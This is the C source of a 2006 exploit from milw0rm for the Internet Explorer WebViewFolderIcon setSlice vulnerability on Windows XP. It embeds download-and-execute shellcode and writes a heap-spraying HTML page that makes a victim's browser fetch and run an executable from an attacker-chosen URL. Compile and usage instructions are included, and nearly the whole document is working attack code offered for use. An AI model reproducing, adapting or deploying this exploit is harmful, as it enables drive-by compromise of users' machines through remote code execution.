/* *----------------------------------------------------------------------- * * Microsoft Internet Explorer WebViewFolderIcon (setSlice) Exploit (0day) * Works on all Windows XP versions including SP2 * * Author: LukeHack * Mail: lukehack@fastwebnet.it * * Bug discovered by Computer H D Moore (http://www.metasploit.com) * * Credit: metasploit, jamikazu, yag kohna(for the shellcode) * * : * Tested : * : Windows XP SP2 + Internet Explorer 6.0 SP1 * : * Complie : cl pociewvf.c * : * Usage : c:\>pociewvf * : * :Usage: pociewvf <exe_URL> [htmlfile] * : * * *------------------------------------------------------------------------ */ #include <stdio.h> #include <stdlib.h> #include <string.h> FILE *fp = NULL; char *file = "lukehack.htm"; char *url = NULL; unsigned char sc[] = "\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03" "\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74" "\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E" "\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03" "\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C" "\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40" "\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C" "\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC" "\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F" "\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB" "\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83" "\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF" "\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"; char * header = "<html>\n" "<body>\n" "<script>\n" "\tvar heapSprayToAddress = 0x05050505;\n" "\tvar shellcode = unescape(\"%u9090\"+\"%u9090\"+ \n"; char * footer = "var heapBlockSize = 0x400000;\n" "var payLoadSize = shellcode.length * 2;\n" "var spraySlideSize = heapBlockSize - (payLoadSize+0x38);\n" "var spraySlide = unescape(\"%u0505%u0505\");\n" "spraySlide = getSpraySlide(spraySlide,spraySlideSize);\n" "heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;\n" "memory = new Array();\n\n" "for (i=0;i<heapBlocks;i++)\n{\n" "\t\tmemory[i] = spraySlide + shellcode;\n}\n" "for ( i = 0 ; i < 128 ; i++)\n{\n\t" "try\n\t{\n\t\tvar tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');\n" "\t\ttar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );\n" "\t}\n\tcatch(e){}\n}\n\n" "function getSpraySlide(spraySlide, spraySlideSize)\n{\n\t" "while (spraySlide.length*2<spraySlideSize)\n\t" "{\n\t\tspraySlide += spraySlide;\n\t}\n" "\tspraySlide = spraySlide.substring(0,spraySlideSize/2);\n\treturn spraySlide;\n}\n\n" "</script>\n" "</body>\n" "</html>\n"; // print unicode shellcode void PrintPayLoad(char *lpBuff, int buffsize) { int i; for(i=0;i<buffsize;i+=2) { if((i%16)==0) { if(i!=0) { printf("\"\n\""); fprintf(fp, "%s", "\" +\n\""); } else { printf("\""); fprintf(fp, "%s", "\""); } } printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]); fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]); } printf("\";\n"); fprintf(fp, "%s", "\");\n"); fflush(fp); } void main(int argc, char **argv) { unsigned char buf[1024] = {0}; int sc_len = 0; if (argc < 2) { printf("Microsoft Internet Explorer WebViewFolderIcon (setSlice) Exploit (0day)\n"); printf("Code by LukeHack\n"); printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]); exit(1); } url = argv[1]; if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10) { printf("[-] Invalid url. Must start with 'http://','ftp://'\n"); return; } printf("[+] download url:%s\n", url); if(argc >=3) file = argv[2]; printf("[+] exploit file:%s\n", file); fp = fopen(file, "w"); if(!fp) { printf("[-] Open file error!\n"); return; } fprintf(fp, "%s", header); fflush(fp); memset(buf, 0, sizeof(buf)); sc_len = sizeof(sc)-1; memcpy(buf, sc, sc_len); memcpy(buf+sc_len, url, strlen(url)); sc_len += strlen(url)+1; PrintPayLoad(buf, sc_len); fprintf(fp, "%s", footer); fflush(fp); printf("[+] exploit write to %s success!\n", file); } // LukeHack coded it! // milw0rm.com [2006-09-29]